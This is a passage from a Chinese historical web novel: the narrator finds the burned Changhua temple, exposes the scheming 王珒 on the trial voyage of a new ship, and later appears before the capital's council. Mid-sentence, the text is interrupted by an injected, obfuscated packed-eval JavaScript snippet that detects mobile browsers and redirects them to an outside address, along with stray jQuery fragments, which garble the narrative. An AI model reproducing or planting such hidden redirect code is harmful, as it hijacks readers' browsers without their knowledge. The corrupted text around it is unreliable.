姐夫想想挺有道理,就不言语了。佑珍在夫家挺有地位,虽然她不算家里的长媳,可是亲戚的往来应酬都是她出面。如今她更有地位了,因为雍州本家正在重建,眼看又是一派欣欣向荣。 我从那时觉得,自己面对的世界,已不再是细雨绵绵的小仓山了。佑珍不再把我当作小孩,虽然她嘴里这么说。我在镜中看着自己的时候,她也看着我,那是同龄女子之间的审视。 她说:“不知道世伯对你,有什么打算?” 我在梳头发,头发乱蓬蓬的,都打结了。 “以前阿爹就觉得,小冰是老宅最有出息的,他看得果然没错。”她接过篦子,替我打理,“女儿家,要保养好头发,除了生得美,头发也很重要。阿姐小时候,也很想打扮得鲜亮活泼,去雍州大宅做客。” 我小时候也有类似的愿望。回想收到荐书的那一刻,心情就像鼓了帆的船,可是转眼间,家就没了。 “小冰,你不开心麽?”镜中的我,脸上写着心事,“你的命真好,世伯待你如亲生女儿。将来嫁娶之事,看来他也会一力承担。” 她在羡慕我麽?其实她的命更好。而我,我在镜中凝望自己的眼睛,但愿命运之神也能眷顾我们。 “卢爷爷呢?没有见到他。”来了好几天,没有看到这位当家人。 “他去京都了。二伯伯领了文书院的职,请父亲过去叙叙。”佑珍很自然地说着京都的事情,“对了,世伯有没有提起过前桥阁?” 没有,我摇头。 “哦?”她反而有些奇怪,“父亲倒是一直提起。如今为了七宫重建的事,几位阁老闹得不愉快呢。父亲这次去,也是想听听那边的闲话。” 见我茫然无知,佑珍换了个话题。 “过几天,京造的楼船要在江边下水试航,我们一起去看看。” 我有了兴趣:“试航?” “万水归源,京都船造,你没听说过麽?”佑珍笑道,“京都船造的东家也姓南宫,是我们的本家。” 没有听说过,叔父从来不说这些。 “过两天你就能亲眼看到了。那艘大船就停在江边,去年春天开始营造。中秋的时候,小船王带我们去看过,赫赫然几十米高。父亲说,比先前的战船威风多了。” 我从来没有见过大船,也没有试航过,有了期待,跃跃欲试。 可是离试航还有好几天。这些天一直下雨,在巴陵小院里看雨,浑身都有发霉的感觉,大家都等着太阳出来,好把自己拿出去晒晒;可是小仓山却是另一番情景,绵绵细雨日落时,叔父会烧一壶酒,一直坐到长夜尽头。 我打开他给我的信,里面夹了长长的清单,都是我的物件,哪些要哪些不要,让我勾划。我认真勾划,在雨雾朦胧的黄昏,在远离他的地方,才可以体味他的人生。都说南宫冒是世家族长的模范,可是他的孩子,却做着与他相反的事。想到此处,不觉无奈笑起来。 门口有人找我,不是约在正门,而是东小门。我有些疑问,把回信折好密封,又找来井生一同前往。 “原来是小叔叔。”在阴沉的暮色下,王珒背着两手,朝我微笑。雨唰唰下着,他身后的人一律穿着蓑衣,怪骇人的。 “三小姐,起色不错。”他仔细看了我一下,“知道你受伤了,如今养好了吧。” 看到他,我就想起成安侯,还有那个有血腥味的夏天。 他朝下属示意,旁边的人捧着一只木盒。 “这是军中治脚伤的灵药,请代为转交青姑娘。”他又说,“另外,向世兄表达我的歉意。” 我没有接,告诉他青川不在小仓。 “西北侯知道这件事。他可生气了,写信把叔父一顿臭骂,然后把青川姐姐接走了。”我回绝道,“想必人家军中也有灵药,用不着小叔叔的东西了。” 王珒抬起一只手,身后的人都站远了点。 “希望三小姐,不要跟风落井下石。这次事件,家父是被人利用了。”他的声调没有起伏,像是愿赌服输,“成安侯府,如今举步维艰。以往幸苦经营的一切,只怕要付之东流。” 是麽,可是表面上波澜不惊。那天过去后,一切都回归平静,羽林卫到来之后与叔父交接,尔后我们就回去了。 “难道三小姐也认为,家父有参与谋划,要为雪巢伸冤麽?” 我不那么认为。可是叔父严禁讨论此事,我也从不敢问他的想法。 “侯爷去哪了?陛下有没有找他对质?也不知他后来去了哪里?”我有点想知道离开之后发生的事,观察着王珒的神色。 哪知王珒笑起来,一点也不给我机会。 “未来,三小姐再遇圣驾,希望能为我们家说说情。”他说,“无论如何,这件事成就了南宫府的回归。如今雍州一派百废待兴,生机盎然。南宫府邸,很快会恢复往昔的昌盛,请代我向世兄致以敬意。” 我不喜欢这个说法,好像叔父舍命维护陛下,是有目的而为之。脸立刻拉下来。 王珒生性敏捷,不提这个事了。他朝我走近些,垂下眉角。 “其实这次来,想请三小姐帮个忙。” 我有些警惕。 他看了一眼我身后的井生。 “雨太大了,不如找间茶室再谈。” 井生按了按手上的佩剑,提醒我。 王珒就笑道:“这个小护卫,真有意思。” 我也没打算跟他出去。再者,我能帮他什么忙。 “小叔叔,这次我是下山受罚的,不可随意出门。有什么事,请快说吧。” 王珒坦然:“那好吧。不知道三小姐,还记不记得昌化文庙的事?” 我记得,只是不知道他想干什么。见我一脸戒备,他反而轻松自在。 “上次在临湖,小叔叔警告我的话,我一直记得。” 他嘿嘿笑起来:“现在这些都不重要了。只是有一件很简单的事,因为我和文庙闹了些纠葛,而如今成安侯府又被人针对。如果将来…” 他把语气放得柔和:“将来有人问起有关文庙的任何事情,请三小姐都回答,不记得了。” 我愣了一下,没一会儿,就反问他:“谁会问我账簿的事呢?” 王珒走到廊檐下,没了有油伞的阴影,我看清了他周身被雨水肆虐的痕迹。他像似承受很大压力,独自支撑缓缓下沉的横木。 “那些都是陈年旧物了,你回答不记得,合情合理,不会为你和南宫府带来任何麻烦;可是对于我却非常重要。”他又笑了一下,“如果三小姐肯帮忙,王珒日后自有回报。” 看他那幅精乖的样子,好像任何事都能拿来做买卖;我不想弄明白他在说什么,只想赶他快点走。 “雨下大了,小叔叔请回吧。” 他重新回到伞下,整理好两袖口的褶皱,即使天有不测风云,他还要维持体面。真是奇怪的人。 “还请三小姐,别忘了我的嘱托。” 井生很不喜欢他。他说我再和王珒私下来往,他就去告诉叔父。为了证明王珒不是好人,他要去昌化庙看看。这个我倒同意,在屋子里闷了许多天,我也想出门走走。 可是佑珍不同意。她说为了试航之事,小船王会亲自上船起帆,他很快就到巴陵了。我们与他是亲戚,他一定会来拜访。而我,一个未出阁的女子,不能随便外出。 姐夫也附和,他接到了父亲的信,这次疾风号下水意义非凡。陛下已经指令巴陵郡守,将试航的一切情况报知皇城。这次试航是南宫氏主持,千万不可出差错。 到底谁是小船王,看他们夫妻紧张的样子,我承认自己孤陋寡闻。 卢文七惊讶道:“就是船王南宫笠的公子,也是南宫世家的继承人。小冰怎么浑然不知?” 我比他更惊讶,含着口茶,鼓着腮帮子瞪他。 佑珍接过话:“京都船造,是中原制船业的总舵。造坊的主人南宫笠布设过八大样船,是个鬼斧奇才。小船王,就是他的公子了。因为他们与世伯是血缘最近的族亲,人们自然认为,小船王就是世家的继承人了。” 叔父还没死呢,再说,还有朱翼呢。 “她是女儿家,总要嫁人的。”佑珍这样说。 好吧,原来还有这样的说法。这位小船王是个怎样的人呢。他会与南宫简一样麽,风度翩翩,懒散避世,把凡尘俗世都屏蔽于青山绿水之外。 我和井生偷偷溜出来,路上就询问小船王的事。他从小跟随叔父,一定知道很多事。 可他却说:“三小姐,别忘了答应过老爷的事。在外谨言慎行,不给世家招惹麻烦。比如那位王公子,他就是带来麻烦的那种人。” 他是真讨厌王珒。我想起昌化文庙,不知道宏善住持,那个唯利是图的老太太怎么样了。我们离开小仓之前,还是把父亲的灵位移走吧。 云端处透着微弱的光,徐徐北风迎面。我从马车上跳下来,面前只剩一片断壁残垣。主庙被烧掉了大半,没有人迹,几只麻雀在天空来回飞着。 井生跑到废墟中去了,我吸了一口气跟上。昌化文庙,被烧得一干二净,只剩一面劣迹斑斑的土墙,手放上去,就掉下了灰烬。靠在半截土堆上,看见井生又跑回来。 过了很久,我才说:“文庙失火,在南宫氏的地界上。我们竟然不知道。” 井生说,我们要立刻禀告叔父。还有,这件事与王珒脱不了关系。 我点头。小叔叔,你真是心狠手辣。不知道昌化文庙,如何威胁到了成安侯府,你放把火,想把一切了结麽? 那天在临湖小院,我一时冲动,告诉他自己看过账簿。所以,昨天他才来找我。那么其他人呢,我虽然不喜欢宏善住持,可也不希望他们被成安侯府的怒火波及。 “井生,”我说,“希望不是我害了他们。” 踉跄着往回走,那天虽然有阳光,可是太冷了。我要回去,立刻找到王珒。他昨天的话有何含义,和这里的一片狼藉有什么关系。 正午的阳光很刺眼,也许雨下得太久,今天阳光凝聚了能量直射下来。我心里很不舒服,如果能述说当时的心情,就和喉咙里卡了鱼刺差不多。可惜我讲不出来,依然在冬日下,手足无措地望着废墟。最后只能说:“我们还是回去吧。” 就在我们两个垂头丧气的时候,远处驶来一辆棕色黄盖的马车。黄盖下的流苏轻快地跃动着,合着马蹄声,踢踏踢踏地由远至近。 马车停到我面前,驾车的是个年轻人,和井生差不多的打扮。而马车上走下一位公子,他张望了一眼光秃秃的断壁,突然回头盯着我。他在冬日的阳光下凝望我,让我有些毛骨悚然。 这只是瞬间的感觉。仔细看,他是个多么俊美的少年,并且,天然带着亲切感。 就如他的侍卫那样,那个侍卫真活泼,对着井生左瞧右看,然后大喊:“井生,你长这么高了。好多年没见。你忘记我了么?我是无浪,右无浪。” 他竟然捏起井生胸前的肌肉来。井生推开他,走到少年面前,向他问安。他告诉我,这位就是大家谈论了很久的小船王。他是南宫笠的独子,名字是南宫博。 至于我,井生刚要开口,少年就笑眯眯地说:“我知道,这位就是三小姐。我在京都已经听说过了。” 那时我心里回荡着某种声音,他和叔父是不同的。 少年望着前方:“知道乌潭世叔的灵位在此,我特来拜见。这里怎么烧了?” 我示意井生不要多话,对他说:“我们也是刚来,不知道怎么回事。” “哦?”他转头,“这里可是南宫氏的地界,如此大火,竟然没人告之麽?这次试航,我要问问巴陵郡守了。” “好啊,”我顺口接道,“我也想知道。” 南宫博邀请我们坐他的马车。我与他坐在车里,而井生和那个活泼的侍卫在外。太奇妙了,他带的随身侍卫,像清水里翻腾的鱼儿。看他们两个热闹的叙旧,与车内的寂静成了对比。我与他相视而坐,不说话也不觉得尴尬,这也很奇妙。这位小船王,把自己沉到了清水下,最深的那片泥沙。 我在琢磨他的时候,当然知道他也在琢磨我。马车行驶得很慢,有足够多的时间,让我们彼此琢磨。 “三小姐,有没有想过去内宫生活?”他开口问我。 而我摇摇头。 他微笑道:“果然,和朱翼一样。” 我也有疑问:“很多人都说,你是世家的继承人。” 他理所当然地点头。可我从来没听叔父提过你的名字。 “知道什么是继承人麽?”当时车轮一个趔趄,车身差点翻转,可他稳稳扶住我,“继承人就是让家族的车轮永远前行,无论碾过多少沟壑。” 听起来,是一个凌云壮志的少年。不知道他的父亲,是个怎样的人。 他读懂我的表情,冷淡说道:“家父为了制船业,一直四处奔走。我自幼在姑母家长大。” 就是前桥阁执书副史,娄柱尘的夫人。 我不想过多了解这些,我的世界只在小仓山上。 “你从没来过小仓,来看我们,看看叔父。” 他有点惊讶我的问题。 “他从来不让我们去的。” 他是指南宫少全麽?难道这位光芒四射的小船王,都不能入他的眼? “听说,世叔很疼爱你呢。从小仓寄到京都的家书,从来都是小冰和小月的事。” 这无法解释,我只好说:“可能他比较喜欢女儿吧。” 南宫博眯着眼笑起来。 “我在姑母家有个表妹,和你们差不多年纪,也生得很美。可是…”他望着我,仿佛可以一览无遗,“可是她不像三小姐。三小姐美得让人很难忘呢。” 这算是恭维麽。如果单凭直觉的话,他的语气有着不可捉摸的残忍。 井生敲敲竹帘,把水递给我。他一直在偷听我们的话。 对面的少年依然笑眯眯的。真是温暖的,进取的少年,天生带着引领羊群的天分,连我都被震慑到了。我把脸别到一边,怪不得,人们都认可他。 疾风号的试航在半个巴陵郡的围观下,浩浩荡荡地进行。那天风和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181312|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日丽,天气异常暖和。按照计划,试航路线先是沿江行驶十里路,到达东坞就折返。我们到了东坞正好是正午,阳光让船舱异常明亮。王珒也来了,一直陪着巴陵郡守,滔滔不绝地说着什么。 我从来没坐过那么大的船,所以来程的时候很新奇,一直坐在船头看江水。现在回到船舱,王珒迎面走上来,他身后的一名跟班,又托着一个木盒。 又是送药麽? “真的不用,小叔叔。”我摇着双手。 王珒对我笑道:“这是送给三小姐的。” 我想起那堆废墟,被风一吹就散了。而王珒,依然在进行着他的事业,不慌不忙。 他看情势不对,就合上了盖子。 “三小姐,不肯领情麽?”他微微挑着眉。 当时周围没什么人,大家都下船吃饭去了。 我轻轻说道:“文庙烧了,小叔叔。文庙里的人呢?你杀了他们?” 他仿佛恍然大悟,这是我不领情的原因。 “当然没有。就连大火的事情,我也是刚知道的。” 是啊,他怎么会承认呢;即使府衙里公审,他也不会承认,更何况是我。看他在阳光下,一脸无辜,紧抿双唇,区区一座庙宇,只是微不足道的绊脚石。 他坐在我身旁,拨弄着自己的手指,慢悠悠说道:“下船吃点东西吧,三小姐。小心饿坏了肚子。” 那时巴陵郡守和南宫博一起站在船头的甲板上,示意船就要返航了。大家陆续回到船上,这时在返回的人群里,我看到了宏善师太。宏善师太的下颚突出,我不会认错。她混迹在甲板的人群里,一身素袍。王珒也看到了,他腾地站起来。 船摇晃了好几下,等我再次站稳,宏善师太已跪在郡守吴大人的面前,在众目睽睽这下,所有人都目瞪口呆。 “老尼昌化文庙宏善,有件小事,想请大人住持公道。”她朗声说道。 她是怎么上船的?我心中疑惑。而王珒则脸色铁青,他也走到众目睽睽之下,因为已避无可避。 那位吴大人有着官场人的直觉,知道此事非同小可。这场试航内发生的桩桩件件,都会写成文书上报皇城。 王珒已恢复了镇定,他退在角落,默默地吩咐着下属。 而此刻,一直忙于试航的南宫博,用他独有的清朗嗓音说:“既然如此,不如请师太退到船舱说话。不相干的人,可以在江边等候。” 吴大人觉得可行,便命官府中人将船先围住。佑珍想带我下船,可是南宫博突然说:“两位小姐可以留在船上,你们是南宫府的内眷,吴大人不介意她们旁听吧。” 吴大人当然不介意。而我回眸与他对视,这场精心布置的试航,自然是小船王的杰作。 宏善师太述说事件首尾。 “成安侯府,一直以捐赠的名义,将敛获的财帛与土地划到文庙名下。因为记在庙宇名下可以掩人耳目,这样收入的财帛依然归侯府所有,而土地产出的税收,则由庙宇与侯府按照协定分成。原来相安无事,可是几个月前侯府的四公子为了一些事,与老尼起了争执。再加上,最近不时有人,在圣驾面前参奏侯府。于是,四公子想撕毁协议,解散庙宇。老尼与那些姑婆,一辈子都安生在文庙之内,自然不肯。情急之下,四公子为了抢夺账本,杀人放火,将昌化文庙至于火海之中。老尼受佛祖庇佑,得以逃生。可是,那些死去的冤魂,还有天天为病痛哀叫的苦命人,都要来这里讨个公道。” 她露出一节满是疤痕的手臂,如泣如诉。虽然这件事她不是全然无辜,不过她是出家人,年纪又大,如今瘦如枯槁,老无所归,自然引起众人的同情。 佑珍说:“成安侯府,真是太霸道,太贪财了。” 在场的人都附和。当年侯府突然崛起,引起许多人的心理不适,连叔父也不喜欢他们。所以如今,人们有了明确的理由,讨伐他们了。 王珒缓缓走过来,瞅着宏善师太。 “住持所言,都是一面之词。我对庙宇的大火之事根本不知情,更别提还有人命之事。这些月来,我受圣命前往上江治水,几百人亲眼所见。师太如此污蔑我,还有陷害侯府,是有人唆使麽?” 他走到中央,大声说:“师太也说如今有人蓄意参奏侯府,所以,是赶来添油加醋?至于什么捐赠土地财帛,王珒从不知情。你无凭无据,在此构陷我们王氏一族,是何居心?” 我真是佩服他的厚脸皮。突然想起,那天在东小门,他对我说的话。 这时南宫博悠哉地说:“对啊,没有证据,你要怎么指证王公子呢?” 我的手心开始出汗。 果然宏善师太说:“文庙的一应银钱出入,财产登记,都在账簿记录。但是,账簿都被烧尽了。不过,因为庙里的姑子不太识字,所以,每年都麻烦南宫府的三小姐帮忙整理。她可以作证。” 于是所有人都望着我。 佑珍拉着我的胳膊摇晃:“真的麽?” 而王珒冷哼:“三小姐年轻,她能识别子丑寅卯麽。” 他没有看我,一直注视我的是南宫博。 “我的三妹是很能干的姑娘,”他站在与我最远的地方,正好面对面,“别害怕,今天郡守吴大人在此,他会为文庙主持公道。” 这时王珒凹陷的双眼,突然嘿嘿笑起来:“看来小船王,对这事很起劲。为什么呢?” 南宫博确实起劲,他扬起如朝辉般的明目,似乎蔑视王珒的一切。 “王公子,在我们南宫氏地界烧杀抢掠的人,我可不能放过。再者,世间自有公道在。杀人放火,王法难容。即使波及侯府将相,也要一视同仁。” 他的话,引起众人的赞赏。这些话传到江边,周遭议论的声音越发此起彼伏。 我走到那位吴大人面前,看来王珒和他关系不错,他一直不啃声。 “大人,去年账簿的主要条目,我都能背诵。到时候我写下来,你可以按条查证,看看是否属实。” 吴大人一脸惊讶。 “是真的。”我朝他确认。 他终于点点头,情势所迫,只能艰难地下定决心。 “不过,此事既然在南宫地界发生,就等叔父过来主持。”我的背后就是南宫博,我知道他在听,“所有的证物,交给大人和叔父查阅,落实之后,再由大人按级上报。” 小船王,我是不会让你越俎代庖的。成安侯府固然可恶,可是,你也是心怀叵测。 “阿姐,”我又拉着佑珍的手,“叔父一直说,世家屹立百年,是靠亲族之间的团结默契,赏罚分明。如果横生枝节,也要内紧外宽,低调行事。昌化文庙在我们的地界上,所以不宜张扬,免得惊动皇城,影响世家声誉。你说对不对?” 佑珍讶异地望着我,幸好姐夫在她身后。 他说:“没错,此事不宜张扬。” 他与吴大人是酒肉朋友,怂恿吴大人连连点头。 “博哥哥,你说呢?”我看着他,装出一脸小心翼翼,求取他的同意。 南宫博也看着我。 “今天众目睽睽,只怕这事瞒不住啊。” “那也没关系。官中的事,吴大人会按章程上报;至于私奏,叔父很快回到雍州,这件事的细枝末节,就让他老人家去讲吧。” 南宫博笑起来,很开心的样子。 “好啊,三妹妹安排得周全。” 他瞟了一眼王珒。 “王公子,我本不想为难你。只是,按照三妹妹的布置,你如今可是嫌犯哦。” 没错,这下吴大人不得不把王珒绑了。他把王珒的两手反绑在身后,看得后者的下属们可心疼了。 王珒,我可是没承诺你什么。再者,你是活该。 他被官差揪出舱外,临到我面前,红着两眼,奇特地咧嘴笑了一下。 江边聚集了很多人,返航的路上不再是新奇有趣了。 我依然坐在甲板上,江面很平静。可是,成安侯府,注定要与我们结下梁子。 14. 南宫世家(八) 我第一次来京都,带着愧疚之情。因为我的鲁莽,叔父被召入前桥阁问话。他隐避半生,就是为了远离纷争,而我,又把他拖回了漩涡。 前桥阁逢三六九开阁议事。我们到的那天,正好是腊月初一,天空飘着细细的雪,红腊梅开得正好。我们下榻的地方是镇国公府,绵水夫人是他的遗孀,她看见叔父,就莫名其妙地叱责了一番,接着又把朱翼搂在怀里,连喊几声心肝宝贝。 “那里,还站着一个丫头。”她觑着眼,朝我招手,“过来,过来啊。” 我挪到她身旁,叔父没有啃声,我也不敢认亲戚。 “怎么跟个犯错的小媳妇儿一样。”这个胖老太太,简直是堆在椅子上,一起一伏的。 叔父推了我一下,说:“去喊姑奶奶。” 我喊了。她就拉着我,翻来覆去瞧了好几遍。 来京都的路上,我曾问过,为何要住在镇国公府。论起亲戚远近,难道不该是小船王的家麽。 我故意这么问,叔父就故意不理我。我窥见了他对其他人的冷漠,对比而出对自己的亲近,于是胆子壮大了。 “怎么从来没听你提过这人呢?” 他故意冷笑。 “反正提不提,你都有办法认识。” 朱翼是极不愿意去京都的,斜睨着我。 “阿爹,你就让她去御前出头吧。反正这事,就是她惹回来的。我们回雍州去,不管她了。” 叔父接到手书,因为巴陵试航的奏报很快到了京都,加上更快的民间小报,让这件事风波不息。于是,前桥阁需要召见当事人。 “叔父,试航闹出的风波,这事儿可不赖我。”我转着眼珠子狡辩,“我又不知道,南宫家有个小船王,擅长兴风作浪。” 他生气了,为何不早些把文庙的账簿告诉他。 “你认为,我不会去管麽?”他又有点委屈。 当然不是。一开始,我怎能预测到这些账簿会掀起的波浪。我自己都不曾在意。 “至于后来的事,”我真心忏悔,“临湖小院那次,是我鲁莽了,贸贸然告诉了成安侯府。后来,又忘了跟叔父讲。” 一路上我都耷拉着脑袋,他还在生气。 现在镇国公府的老太太也问:“这姑娘,耷拉着脑袋,在想什么呢?” 我恍然,我还是在想,为何我们要住在这里呢? “这里好大。姑奶奶,门前的腊梅也很美。” 初三的那次会议,在我未睡醒的状态下就开始了。天刚蒙蒙亮,有个女侍给我穿戴整齐,还替我扎好发髻,从上而下一丝不苟。临走那会儿,绵水夫人对我说:“如果有人欺负你们,回来告诉我。” 谁会欺负我们?当时叔父牵着我,在皇城门口等候。 “待会儿,我要说什么。”冬天的清晨,忍不住打了哈欠。 “你只要说自己看到的东西。其它的事情,我会处理。” 有内官过来引路,他替我把毛领子整理好,牵着我往里走。 原来皇城里,还有一条人工开凿的小河,越往里走河势越开阔,到了最宽阔处,竟然筑起一架廊桥。桥的一边,有一排屋子,大概十来尺高,从外部看,像大户人家的书斋。 叔父说,这就是前桥阁。 阁门前,走出一个蓄着山羊胡,穿褐色官服的男子。 “少全,好些年未见了。”他们都认识叔父。 叔父带着我行了白衣见官的礼,还未礼毕,就被扶起来。我们被招呼进屋,我看到主屋入口悬挂了几张名牌,今天的值班表上,写的是娄柱尘。 娄柱尘的两眼有些充血,大概案牍劳累,看着比叔父年长几岁。可他并没有老态,似乎每道细纹都藏着心智,反而显得很精神。 叔父问:“听说元大人病了。” 娄柱尘叹道:“是啊,相爷年纪大了,身体也弱,如今不常来阁中。” 叔父点头,一会又说:“看来阁中一切事宜,都依靠娄大人协调。” 娄柱尘却谦和:“少全,我有几个本事呢?只是勉为其难,有苦难言。” 这时有几个官员过来点卯,又有人捧了几册公文进来。我发现新进的公文都是灰色封皮,而送出的就贴一道黄色封条。送出前桥阁就是廊桥,那些黄封的公文,会送到桥的另一端。 “桥的另一端是中殿,是陛下处理公务的地方。”叔父在肯定我的猜测。果然,有几册的公文从廊桥送回,又添了一道红色封条,上面批注的不是复议就是驳回。 挺有趣的,我心想,帝国的中枢是这样运转的麽。可是这座前桥阁看起来太质朴,简直是毫不起眼。 这位娄柱尘,外观也和前桥阁一样简朴,旧的褐色棉袍,不修边幅。 “少全,本来我被琼华宫的重建弄得头疼,如今出了试航一事,倒让大伙儿的注意力分散了。”娄柱尘手上持着一张日程单,“今日我们先磋商谈妥,初六那日,陛下会亲自聆听此案。” 叔父的注意力也有点分散。这时大厅整理了一下,桌椅案几给搬走了,屋子敞亮了不少。娄柱尘坐在正中,除了叔父,他身旁只带了一名随行主簿。 “哦?重修琼华宫,有什么难处麽?”他有些疑问。 娄柱尘就说:“自然是财政的事情。这些年复兴重建,花了好些银钱。陛下一直为这事发愁呢。” 叔父拧眉:“现今内宫无主,琼华一地倒是不急的。” 显然娄大人不附和他的想法,他把内宫重修的规划详细描述了一番。 “不如,等到陛下闲暇时刻,世兄亲自去一趟中殿。昨日,阿博还说,陛下想听听世子的意见呢。” 叔父微笑道:“我知道中殿一直很忙,还是听侯传唤吧。另外,为何阿博会牵涉期内?” 就在这时,南宫博跃然出现在前桥阁的门口。隆冬时分,他却穿得很轻薄,蔚蓝色的束身锦袍,衬着他的两道幽黑剑眉分外醒目。他正在与持牌送公文的几位内官寒暄,很熟络的样子。 叔父的脸色变了。 南宫博施施然走进,仿佛对这里的一景一物都很熟悉。 他又仿佛早知道我们已在内堂,一进屋就朝叔父拜礼。他说得很恳切,许多年未见,尤是想念。 听得出来娄大人很满意这个外甥,亲切地叫他阿博。 他说:“昨日他就在阁中,是我叫他来的。因为成安侯府的那位小公子来求情,我并不清楚试航当天的情况。” 可是叔父依然冰寒了双眼,良久才说话。 “看来我对你讲的话,你一个字也不肯听。” 南宫博一副受挫又委屈的样子,跪在他面前。 “侄儿不敢。这次只是为了澄清昌化文庙的事。” 叔父摇头。 “你经常在前桥阁行走,别以为我不知道。如今,竟然还敢涉足中殿。我管不了你,只好找你的父亲了。” 南宫博依然恭顺谦卑地跪着,苍白的脸庞同冰冷的雪地一般。可我能感受到他在冷笑,笑意就藏在裂开的雪地深处。 在外人看来,叔父对这位少年过于严厉了,并且他的疾言厉色没有原因。 果然娄柱尘扶起他的外甥,述说起叔父的不近人情。 “这孩子资质高,品性好。昨日把试航的意外说得有条有理。他偶尔来一次内阁,也是从不多话。世兄,你对他太苛刻了。” 我忍不住插话:“大人,昌化文庙的事情首尾,我都清楚明白。若要聆听证词,我可以…” 而那位娄大人却打断了我。 “你光顾着疼女儿。阿博可是你的亲侄儿。” 不是说初三才入阁议事麽,为何他们昨天就私下商议。 于是叔父就问:“侯府公子是什么时候押入京的?为何昨日就提他入阁?” 这时娄柱尘退坐到圈椅内,揉搓着自己的胡须,微微笑道:“侯府公子可是一路喊冤,四面八方都知道了。” 他打开公文:“这是巴陵府上报的公文,在试航的后三天写的。不知道世兄有没有看过?” 叔父接过来,我立刻凑上去看。 “这位王公子只认了私并土地一事。其它的罪状,他可一概否认。” 叔父就说:“烧寺一事,有宏善住持的口供。”他突然想到:“她反口了麽?” 娄大人说:“那倒没有。不过,王公子也找了寺庙的证人。不止一个,都能证实寺庙的香烛油火管理不善,常常走水。” 他说这话的神态,仿佛对这事见怪不怪了。 停顿了一下,叔父按下我激动的手,对着娄柱尘感叹:“这位王后生,行动力真强,短短几天,他就能布置妥当。” 这话让后者会意一笑,不过他掩去笑意,又说:“这件公文,已经上禀中殿。陛下的指示,是将人证召入阁中再议。我有些心急,昨日王珒已然入京,我已召见他问了始末。今天,再和世兄商议,究竟该如何处置。” 叔父想了一会儿,就说:“侯府找到的证人,也该让我们提审一下。” “这是自然…”娄柱尘轻轻笑道,“可是,侯府找的是在文庙中德高望众的三位师傅,她们修行几十年,不会给人随意攀扯的印象。当然,官衙也可以再提取更多的人证,就只怕人多话更多,事情就更复杂了。” 我心中凉凉,这间昌化文庙里的姑子们,真是一丘之貉,见钱眼开。 叔父琢磨了一下,这些人的话真真假假,必然最后失信于人,这样就显得宏善住持的口供也不可靠了。 “三小姐,”娄大人注视我,这是我到前桥阁后,他头一次注视我,“你和那位宏善师太,很熟悉麽?” “不算太熟悉。”我回答,“一年里春秋去两次,为了祭拜父亲。” 娄大人拿回奏报,对叔父说:“那就好。世兄要谨慎,切不可让众人感觉,这件事是南宫府和成安侯府之间的矛盾。” 叔父点头:“我明白。小女偶然得知此事,南宫府才被卷入。并不是存心针对侯府。” 这时南宫博缓缓说道:“我们与成安侯府本来就没什么交情,为何要针对。试航之事,只是为了主持公道。对不对,三妹妹?” 他看着我。 我冷笑一声:“当然。我讲得都是事实,无关乎针对谁。” 我与他之间的不悦很明显,叔父倒是有些好奇了。 娄柱尘最后说:“按照我的浅见,世兄不要去参合这事,只需旁观就可。是福是祸,就让侯府去圣驾之前自辩吧。” 朱翼发觉我从前桥阁回来后,一直气呼呼的。她睁大像秋水一般的美目,怜悯地说:“要不,明天你别去了。” 明天就是初六,前桥阁的第二次参会。一大早我就穿戴好了,特地多吃了早饭。我走到大门口,想看看马车架好了没有,又看到了南宫博。 “我来送你们去,今天的议事改在外宫的偏厅。” “三妹妹,”他看了我一眼,“别忘了,这件事上我们可是同一阵线。虽然你不怎么喜欢我。” 我否认这点。不喜欢你的是叔父。 趁着叔父没有出来,我趁机寻问。 “那位宏善师太,是你怂恿她在试航之日去告发的?”我注意着他的表情,“若是让叔父知道了,他一定会生气的。” 南宫博不动声色地说:“宏善师太是个可怜人。但凡知道她吃的苦,人人都会帮她的。” 我心里轻轻笑起来。这时天空又飘了雪花,叔父走出来了。他发觉他一早就在门口等,又皱起眉头。 “没有必要送我们去。还有,你穿得太单薄了。” 娄柱尘把会议改到偏厅,偏厅四面垂着帷幕,中间移入两只火盆。我们到的时候,王珒已经跪在一旁,他身后还跪着一排人。与娄柱尘同属前桥阁的副史冯坚,还有京都刑曹尹大人,三人一起坐在正中。 叔父带着我们一一拜见,我预感到今日不会同三天前那样,只是一场简单的磋商。 刑曹尹大人先开口,读了一遍诉状,整整读了半盏茶的工夫,大致是控告成安侯府火烧文庙,伤及人命的罪状;还有一项,便是将纳入文庙的土地财帛,分赃以及纳为己有。 等他读完,火盆里的碳正嗞嗞燃着火苗。 坐在正中的冯坚说道:“王珒,你可都承认?” 这时,王珒突然抬起头,用痛心疾首的表情喊道:“大人请明察,侯府是冤枉的,小民是冤枉的。” 他胡子拉扎,满脸忧愤,恍然间真觉得他受了不白之冤。 冯大人表示同情,对他说:“慢慢说来,不要着急。” 王珒跪在正中,凄然而道:“诉状之中,控告侯府火烧文庙,是子虚乌有。火烧那日,小民奉圣意,正在协调上江治水的后勤之事,上江知州官员三十余人皆可作证。诉状之中又说协同作案,谁来协同?请那人出来。侯府上下百余人,大人皆可调来审问。” 冯大人便看向刑曹大人,尹大人当即说:“已调来数人,正在慢慢审问,目前未有人指证。” 于是冯坚又看了一遍诉状。 “看来,如今主要指证侯府的,就是文庙的住持宏善了。” 王珒垂下头,略带歉意地说:“这件事,是小民的错。” 我心里嘀咕,他的花样真多。 “年中的时候,师太曾与侯府商量,主要是地税分成的事。因为连年战乱,寺庙收入艰难,所以师太想多分几成。可我当时拒绝了。所以,惹恼了师太。” 娄柱尘这时笑道:“按照公子所言,她是因为分赃不均,才诬陷你的。” 王珒抬起头,小心翼翼地说:“不敢。只是文庙着火一事,纯属意外。小民猜想,可能是住持本人误会了,以为这场意外是有人蓄意而为。” 这时厅上的三位大人,相互议论了一番,尔后,还是冯坚说道:“既然这样,刑曹尹大人会去提审宏善。只是她年老体弱,如今又受了伤,不宜前来对质。” 王珒立刻跪拜:“师太以及文庙的所有人,都因为侯府的行差踏错而受苦。侯府愿意承担所有损失,安置苦主,不让此事再沸沸扬扬。” 